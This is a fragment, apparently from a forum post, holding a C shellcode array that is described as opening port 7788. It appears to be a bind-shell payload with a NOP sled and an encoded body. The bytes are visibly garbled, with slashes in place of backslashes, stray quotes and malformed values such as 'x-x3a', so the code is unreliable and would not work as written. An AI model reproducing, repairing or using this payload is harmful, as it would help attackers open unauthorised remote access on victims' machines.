No test, anyway, it is long:) Unsigned char shellcode [] = // Open the 7788 port shellcode "/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / X90 / x90 / x90 / x90 "" / XEB / X18 / X5F / X57 / XAC / X3A / XC1 / X74 / X13 / X3C / X30 / X74 / X05 "" "/ x34 / xaa / xaa / XEB / XF2 / XAC / X2C / X40 / XEB / XF6 / XE8 / XE3 / XFF / XFF / XFF / XFF "" / X21 / X46 / X2B / X46 / XEA / XA3 / XAA / XAA / XF9 / XFC / XFD / X27 / X17 / X6A / X30 / X9C "" / x55 / x55 / x13 / x12 / x66 / x66 / x66 / x66 / x59 / x30 / x41 / x6d "" / x30 / x6f / X30 / x46 / x5d / x55 / x55 / xaa / xaa / xaa / xaa / x6d / x30 / x6f / x9e / x5d "" / x55 / x55 / xba / xaa / xaa / xaa / x43 / x48 / xac / xaa / XAA / X25 / X30 / X6F / X30 / X42 "" / x5d / x55 / x55 / x27 / x17 / x5e / x5d / x55 / x55 / xce / x30 / x4b / xaa / xaa / xaa / xaa "" / x23 / XED / xa2 / xce / x23 / x97 / xaa / xaa / xaa / xaa / x6d / x30 / x55 "" / x55 / x55 / x55 / x55 / x55 / x21 / x30 / x6f / x30 / X42 / X5D / X55 / X55 / X29 / X42 / XAD "" / x23 / x30 / x6f / x52 / x5d / x55 / x55 / x6d / x30 / x6f / x30 / x4e / x5d / x55 / x55 / xaa "" / X55 / XAA "" / XAA / X4A / XDD / XAA / XAA / X29 / X17 / X30 / X46 / X5D / X55 / X55 / XAA "" / XA5 / X30 / X6F / X77 / XAB / XAA / XAA / X21 / X27 / X30 / X4E / X5D / X55 / X55 / X2B / X6B "" / XAA / XAA / XAB / XAA / X23 / X27 / X30 / X4E / X5D " "/ x55 / x55 / xaa / x AA / XAA / XD2 / XDF / XA0 / X6D / X30 / X6F / X30 / X55 "" / xaa / xaa / x5a / x15 / x21 / x3f / x30 / x4e / x5d / x55 / x55 / X99 / X6A / XCC / X21 / XA8 "" / X97 / XE7 / XAA / XAA / XA5 / X30 / XAA / XAA / X21 / X27 / X30 "" "/ x4e / x5d / X55 / X55 / X21 / XFB / X96 / X21 / X30 / X6F / X30 / X55 / X99 "" / x63 / XCC / X21 / XA6 / XBA / X2B / X53 / XFA / XEF / XAA / XAA / XA5 / X30 / X6F / XD3 / XAB "/ XAA / XAA / X21 / X3F / X30 / X4E / X5D / X55 / X55 / X21 / XE8 / X96 / X21 / X27 / X30 / X4E" "/ X5D / X55 / X55 / X21 / XFE / XAB / XD2 / X4E / X3F / X30 / X55 / X23 / X3F "" / x30 / x4a / x5d / x55 / x55 / x21 / x30 / x6f / x30 / X4A / X5D / X55 / X55 / X21 / XE2 / XA6 "" "
/ XA9 / X27 / X30 / X4E / X5D / X55 / X55 / X23 / X27 / X36 / X5D / X55 / X36 "" / X5D / X55 / X55 / X2B / X90 / XE1 / XEF / XF8 / XE4 / XA5 / X30 / X6F / X99 / XAB / XAA / XAA "" / X21 / X30 / X6F / X36 / X5D / X55 / XAE / XEF / XE6 / X99 / X98 / XA5 / X30 "/ x6f / x8a / xab / xaa / xaa / x21 / x27 / x55 / x55 / x23 / x27 / x3e / x5d" / x55 / x55 / x21 / x3f / x30 / x4a / x5d / x55 / x55 / x21 / x30 / x6f / x30 / x4e / x5d / x55 "" / x55 / xa9 / Xe8 / x8a / x23 / x30 / x6f / x36 / x5d / x55 / x55 / x6d / x30 / x6f / x32 / x5d "" / x55 / x55 / xaa / xb4 / x21 / x27 / x32 / x5d / x55 / x55 / x29 / x6b "" / xab / x23 / x27 / x32 / x5d / x55 / X55 / X21 / X3F / X36 / X5D / X55 / X55 / X29 / X68 / XAE "" / x23 / x3f / x36 / x5d / x55 / x55 / x21 / x30 / x6f / x30 / x4a / x5d / x55 / x55 / X21 / x27 "/ x32 / x5d / x55 / x55 / x91 / xe2 / xb2 / xa5 / x27 / x6a / xaa / xaa / xaa / x21 / x3f / x36" "/ x5d / x55 / x55 / x21 / xa8 / x21 / x27 / x30 / x4e / x5d / x55 / x55 / x2b / x96 / xab / xed "" / xcf / xde / xfa / xa5 / x30 / x6f / x30 / x4a / xaa / xaa / xaa / x21 / x3f / x36 / x5d / x55 "" / x55 / x21 / x30 / x4e / x5d / x55 / x55 / x2b / xd6 / xab / xae / xd8 / xc5 "" / xc9 / xeb / xa5 / x30 / x6f / x30 / x6e / xaa / xaa / xaa / x21 / x3f / x32 / x5d / x55 / x55 "" / xa9 / x3f / x32 / x5d / x55 / x55 / xa9 / x3f / x30 / x4e / x5d / x55 / X55 / X21 / X30 / X6F "" / x30 / x4a / x 5d / x55 / x55 / x21 / x6a / xcc / x21 / xae / xa0 / x23 / x30 "" / x6f / x36 / x5d / x55 / x55 / x21 / x27 / x30 / x4a / x5d / X55 / X55 / X21 "" / x30 / x6f / x36 / x5d / x55 / x55 / x27 / x27 / x36 / x5d / x55 / x55 "" / x21 / X3F / X36 / X5D / X55 / X55 / XA9 / X3F / X36 / X5D / X55 / X55 / Xa9 / X3F / X36 / X5D "" / X55 / X55 / XA9 / X3F / X36 / X5D / X55 / X55 / XA9 / X3F / X30 / X4E / X5D / X55 / X55 / X21 "" / x30 / x6f / x30 / x4a / x5d / x55 / x55 / x21 / xe2 / xb6 / x21 / xbe / xa0 / x23 / x3f / x36 "" / X5D / X55 / X55 / X21 / X30 / X6F / X36 / X5D / X55 / X55 / Xa9 / X30 / X6F / X30 / X4E / X5D "" / X55 / X55 / X23 / X30 / X6F / X30 / X46 / X5D / X55 / X55 / X41 / XAF / X43 / XA7 / X55 / X55 "" "
/ X55 / X55 / X55 / X27 / X17 / X5E / X5D / X55 / X55 / X21 / XED / XA2 / XCE "" / x30 / x49 / xaa / xaa / xaa / xaa / x29 / x17 / x30 / x46 / x5d / x55 / x55 / xaa / xdf / xaf "/ x43 / xdf / xae / xaa / xaa / x21 / x27 / x30 / x42 / x5d / x55 / x55 / xcc / x21 / xbb / xcc "" / x23 / x55 / x21 / x30 / x6f / x30 / x42 / x5d / x55 / x55 / x29 / x6a "" / xa8 / x23 / x30 / x6f / x30 / x42 / x5d / x55 / x55 / x6d / x30 / x6f / x36 / x5d / x55 / x55 "" / xab / xaa / xaa / xaa / x41 / xa5 / x21 / x27 / x36 / x5d / x55 / x55 / x29 / x6b / xab / x23 "" / x27 / x36 / x5d / x55 / x55 / x29 / x17 / x36 / x5d / x55 / x55 / xbb / xa5 / x27 / x3f / xaa "" / xaa / xaa / x29 / x17 / x36 / x5d / x55 / x55 / x21 / x5e / x21 / x3f / x30 "" "" "/ x42 / x5d / x55 / x55 / xf8 / x55 / x3f / x1e / x5d / x55 / x55 / x91 / x5e / x3a / xE9 / xe1 "" / x3f / x3e / x5d / x55 / x55 / x41 / x80 / x21 / x5e / x21 / x30 / x6f "/ x30 / x42 / x5d / x55 / x55 / xfa / x21 / x27 / x3e / x5d / x55 / x55 / xfb / x55 / x3f / x30 "" / x46 / x5d / x55 / x55 / x91 / x5e / x3a / xe9 / xe1 / x-x3a / xe1 / x21 / x3f / x36 / x5d / x55 "" / x55 / x23 / x30 / x6e / x3f / x1a / x5d / x55 / x55 / x41 / xa5 / x21 / x30 / x6f / x30 / x42 "/ x5d / x55 / x55 / x29 / X6A / XAb / x23 / x30 / x6f / x30 / x42 / x5d / x55 / x55 / x21 / x27 "" / x30 / x42 / x5d / x55 / x55 / xa5 / x14 / xbb / x30 / x6f / x78 / xdf / xba / x21 / x30 / x6f "" / x30 / x42 / x 5D / X55 / XE2 / XAb / X30 / X6F / X63 / XDE / XA8 / X41 / XA8 "" / x41 / x78 / x21 / x3f / x30 / x42 / x5d / x55 / x55 / x29 / X68 / XAb / X23 / X3F / X30 / X42 "" / x5d / x55 / x55 / x55 / x21 / x5e / xc0 / xac / xc0 / xab / xc0 / xa8 "" / x55 / X3F / X7E / X5D / X5E / X3A / XE9 / XE1 / XE9 / XE1 / X23 / X30 / X6F "/ XE6 / X5D / X55 / X55 / XCC / X6D / X30 / X6F / X92 / X5D / X55 / X55 / XA8 / XAA / XCC / X21 "" / x30 / x6f / x86 / x5d / x55 / x55 / xcc / x23 / x30 / x6f / x90 / x5d / x55 / x55 / x6d / x30 "" / X6F / X96 / X5D / X55 / X55 / XAA / XAA / XAA / XAA / X6D / X30 / X6F / X36 / X5D / X55 / X55 "" / XAb / XAA / XAA / XAA / X29 / X17 / X36 / X5D / X55 / X55 / XAA / XDE / XF5 / X21 / X5E / XC0 "" "
/ XBA / X27 / X27 / X92 / X5D / X55 / X55 / XFB / X21 / X3F / XE6 / X5D / X55 / X55 / XF8 / X55 "" / X3F / X72 / X5D / X55 / X55 / X91 / X5E / X3A / XE9 / XE1 / XE9 / XE1 / X23 / X30 / X6F / X36 "" / X5D / X55 / X55 / XCC / X21 / X30 / X6F / X90 / X5D / X55 / XAB / XCC / XAF / XAA / XAB / XCC "" / x23 / x30 / x55 / x55 / x21 / x27 / x90 / x5d / x55 / x55 "/ x55 / xaa / xaa / x2b / x53 / xaa / xab / XAA / XAA / XD7 / XB8 / XCC / X21 / X3F / X90 / X5D "" / X55 / X55 / XCC / X29 / X68 / XAb / XCC / X23 / X3F / X90 / X5D / X55 / X55 / X41 / X32 / x21 "" / x5e / xc0 / xa0 / x21 / x30 / x6f / x76 / x5d / x55 "" / x55 / x91 / x5e / x3a / xe9 / xe1 / XE9 / XE1 / X13 / XAB / XAA / XAA / XAA / X30 / X6F / X63 "" / xa5 / x30 / x6e / x6c / x5 / xaa / xaa / x21 / x5e / x27 / x3f / x9e / x5d / x55 / X55 / XF8 "" / x27 / x30 / x6f / x92 / x5d / x55 / x55 / xfa / x21 / x27 / x55 / xfb / x55 "" / x3f / x4a / x5d / x55 / x55 / X91 / XE1 / XE9 / XE9 / XE1 / X30 / X6F / XE2 "" / X5D / X55 / X55 / XA / X5D / X55 / X55 / XA6 / XAA / XAA / xaa / x6d / x30 "" / x6f / xae / x5d / x55 / x55 / xaa / xaa / xaa / xaa / x6d / x55 / x55 "" / xab / xaa / xaa / xaa / x21 / x5e / xc0 / xaa / x27 / x3f / xaa / x5d / x55 / x55 / xf8 / x27 "" / x30 / x6f / xbe / x5d / x55 / x55 / xfa / x27 / x27 / xb2 / x5d / x55 / x55 / xfb / x55 / x3f "" / x12 / x5d / x 55 / X55 / X91 / X5E / X3A / XE9 / XE1 / XE9 / XE1 / XAA / X27 "" "" "/ x55 / xf8 / x27 / x30 / x6f / xa6 / X5D / X55 / X55 / XFA / X27 / X27 "" / XBA / X5D / X55 / X55 / XFB / X55 / X3F / X12 / X5D / X55 / X3A / XE9 / XE1 "" / XE9 / XE1 / X27 / X17 / XFA / X5D / X55 / X55 / X99 / X6A / X13 / XB / XAA / XAA / XAA / X58 "" / X30 / X41 / X6D / X30 / X55 / X55 / XAB / XAB / XAA / XAA / XCC / X6D / X30 "" / X6F / X2A / X5D / X55 / X55 / XAA / XAA / X21 / X3F / XBA / X5D / X55 / X55 / X23 / X3F / X22 "" / X5D / X55 / X55 / X21 / X30 / X6F / XBe / X5D / X55 / X55 / X23 / X30 / X55 "" / x55 / x21 / x27 / xbe / x5d / x55 / x55 / x23 / X27 / X3A / X5D / X55 / X55 / X21 / X5E / X27 ""
/ X3F / XB6 / X5D / X55 / X55 / XF8 / X27 / X30 / X6F / XFA / X5D / X55 / X55 / XFA / XC0 / XAA "" / XC0 / XAA / XC0 / XAA / XC0 / XAB / XC0 / XAA / XC0 / XAA / X21 / X27 / X30 / X42 / X5D / X55 "" / X55 / XFB / XC0 / XAA / X55 / X3F / X16 / X5D / X55 / X55 / XE9 / XE1 / XE9 "/ XE1 / X23 / X30 / X55 / X55 / X21 / X5E / XC0 / XAA / XC0 / XAA / X27 / X3F" "/ x9a / x5d / x55 / x55 / xf8 / xc2 / xaa / XAE / XAA / XAA / X27 / X30 / X6F / XAA / X52 / X55 "" / X55 / XFA / X21 / X27 / XB2 / X5D / X55 / X55 / XFB / X55 / X3F / X6E / X5D / X55 / X55 / X91 "" / x5e / x3a / xa9 / x-x50 / xab / xaa / xaa / xaa / x30 / x6f / x78 / xa5 "" / x30 / x6e / xdf / xab / xaa / xaa / x21 / x5e / xc0 / xaa / xc0 / xaa / x27 / x30 / x6f / x9a "" / x5d / x55 / x55 / xfa / xc2 / xaa / xae / xaa / xaa / x27 / x27 / xaa / x52 / x55 / x55 / xfb "/ x21 / x3f / xb2 / x5d / x55 / x55 / x5 / x55 / x3f / x6e / x5d / x55 / x55 / x91 / x5e / x3a" / xe9 / x29 / x17 / x9a / x5d / x55 / x55 / xaa / xa5 / x24 / x30 / x6e / xaa "" / xaa / xaa / x21 / x5e / xc0 / xaa / x27 / x30 / x6f / x9a / x5d / x55 / x55 / xfa / x21 / x27 "" / x9a / x5d / x55 / x55 / x52 / x55 / x55 / xf8 / x21 / x30 / x6f / xb2 "" / x5d / x55 / x55 / xfa / X55 / X3F / X62 / X91 / X5E / X3A / XE9 / XE1 / XE9 "" / XE1 / X29 / X17 / X9A / X5D / X55 / X55 / XAA / XD4 / X82 / X21 / X5E / XC0 / XAA / X21 / X27 "" / x9a / x5d / x 55 / X55 / XFb / X27 / X3F / XAA / X52 / X55 / X55 / XF8 / X21 / X30 / X6F / XE2 "" / X5D / X55 / X55 / XFA / X55 / X3F / X4E / X5D / X55 / X55 / X91 / X5E / X3A / XE9 / XE1 / XE9 "/ XE1 / X41 / X8B / X21 / X5E / XC0 / XAA / XC0 / XA2 / X21 / X27 / X30 / X42 / X5D / X55 / X55" "/ XFB / X21 / X3F / XE2 / X5D / X55 / X55 / XF8 / X55 / X3F / X55 / X91 / X5E "" / X3A / XE9 / XE1 / XE9 / XE1 / XAA / XAA / X21 / X5E / XC0 / XAA / XAA / XAA "" / XAE / XAA / XAA / X27 / X30 / X6F / XAA / X52 / X55 / XE2 / XFA / X21 / X27 / XE2 / X5D / X55 "" / X55 / XFB / X55 / X3F / X42 / X5D / X55 / X55 / X91 / XE1 / XE9 / XE1 / X23 "" / x30 / x6f / x9a / x5d / x55 / x55 / x29 / x17 / X9A / X5D / X55 / X55 / XAA / XD5 / XF8 / X6D ""